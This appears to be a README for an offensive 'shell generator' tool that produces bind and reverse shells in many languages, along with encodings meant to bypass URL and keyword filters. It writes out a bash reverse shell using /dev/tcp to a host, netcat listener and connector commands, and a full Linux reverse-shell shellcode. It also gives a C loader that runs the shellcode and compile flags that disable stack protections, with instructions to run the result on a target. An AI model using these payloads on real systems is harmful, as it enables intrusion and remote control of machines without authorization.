Introduction

A simple yet flexible cross-platform shell generator tool.

Name: G(Great) Shell

Description: A cross-platform shell generator tool that lets you generate whichever shell you want, in any system you want, giving you full control and automation.

If you find this tool helpful, then please give me a ⭐ as it tells me that I should add more features to it. (THANKS)

Is cross-platform, you can use it in operating systems such as:

Unix-based systems
GNU/Linux
Windows
macOS

Generates the following shells:

Bind Shells: The target has a listening port and we connect to the target.
Reverse Shells: We have a listening port and the target connects to us.

Supports the following encodings (as of now):

URL Encoding: Bypass URL filters
Base64/32/16 Encodings: Bypass string/keyword filters
PowerShell Base64 Encoding

Supports the follow IP versions:

IPv4
IPv6

Supported protocols:

TCP
UDP
ICMP

Note: You can add your own shells that use other protocols such as DNS.

Supports the following languages and tools:

PowerShell
Python
Bash
Sh
Perl
Socat
Netcat
Nc
Awk
Lua
NodeJS
OpenSSL
PHP
Ruby
Telnet
Golang
C#
Dart
Groovy
Many more...

It is limitless, feel free to add as many as you desire!

The shells are stored in markdown files as it makes it easy for everyone.

You can add more bind shells by adding markdown code blocks the following file:

shells/bind_shells.md

You can also add more reverse shells by adding markdown code blocks the following file:

shells/reverse_shells.md

These can be one-liners and multi-liners, it doesn't matter. You can even add C# multi-liners code blocks if you want.

Here is a reverse shell example command:

bash -i >& /dev/tcp/192.168.10.11/433 0>&1

To add another shell simply replace the IP address and the port placeholders or variables values with these placeholders in your code or command:

$ip: IP address
$port: Port number

Here is an example:

bash -i >& /dev/tcp/$ip/$port 0>&1

Note: It also offers advice and tips for performing and troubleshooting attacks.

Example of Listeners and Connectors

Connect with nc TCP:

nc -v <IP> <PORT>

Connect with nc UDP:

nc -vu <IP> <PORT>

Note: Replace <IP> with the IP address of the target and replace <PORT> with the target port number.

Setup a listener with nc TCP:

nc -vlp <PORT>

Setup a listener with nc UDP:

nc -vulp <PORT>

Note: Replace <PORT> with the port number of the target.

Example of Bind Shells & Reverse Shells

Example, generate bash reverse shells:

PS C:\gshell> python .\gshell.py -i 192.168.111.120 -p 443  -r -s bash 
[+] The IPv4 address: 192.168.111.120 is valid.
[+] The port number: 443 is valid.
[+] Shell type is valid
[+] Preparing reverse shells
[+] Generating bash shells

----------------NEXT CODE BLOCK----------------

Example of Encodings

Here is an example of an encoding:

PS C:\gshell> python .\gshell.py -i 192.168.111.120 -p 443 -r -s bash --url

Example of Shellcodes

Here is an example of a shellcode:

PS C:\gshell> python .\gshell.py -i 192.168.220.131 -p 4433 --shellcode --srev --linux
[+] The IPv4 address: 192.168.220.131 is valid.
[+] The port number: 4433 is valid.
[+] Generating reverse shell shellcodes
[+] Generating Linux shellcodes
\x89\xe5\x31\xc0\x31\xc9\x31\xd2\x50\x50\xb8\x1\x1\x1\x1\xbb\xc1\xa9\xdd\x82\x31\xc3\x53\x66\x68\x11\x51\x66\x6a\x02\x31\xc0\x31\xdb\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x66\xb8\x6a\x01\x89\xe1\x89\xea\x29\xe2\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x41\xe2\xf6\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

We could use the generate shellcode in another program or script:

#include <stdio.h>
#include <string.h>

int main(void)
{
    unsigned char code[] = "SHELLCODE_HERE";
    printf("The shellcode length is: %d\n", strlen(code));
    void (*s)() = (void *)code;
    s();
    return 0;
}

Install 32-bit headers and libraries:

sudo apt-get install gcc-multilib

As an example we could compile the code above:

gcc -m32 -fno-stack-protector -z execstack example.c -o example

More information about gcc compilation can be found here.

Run the example program on the target to receive the reverse shell:

chmod +x ./example && ./example
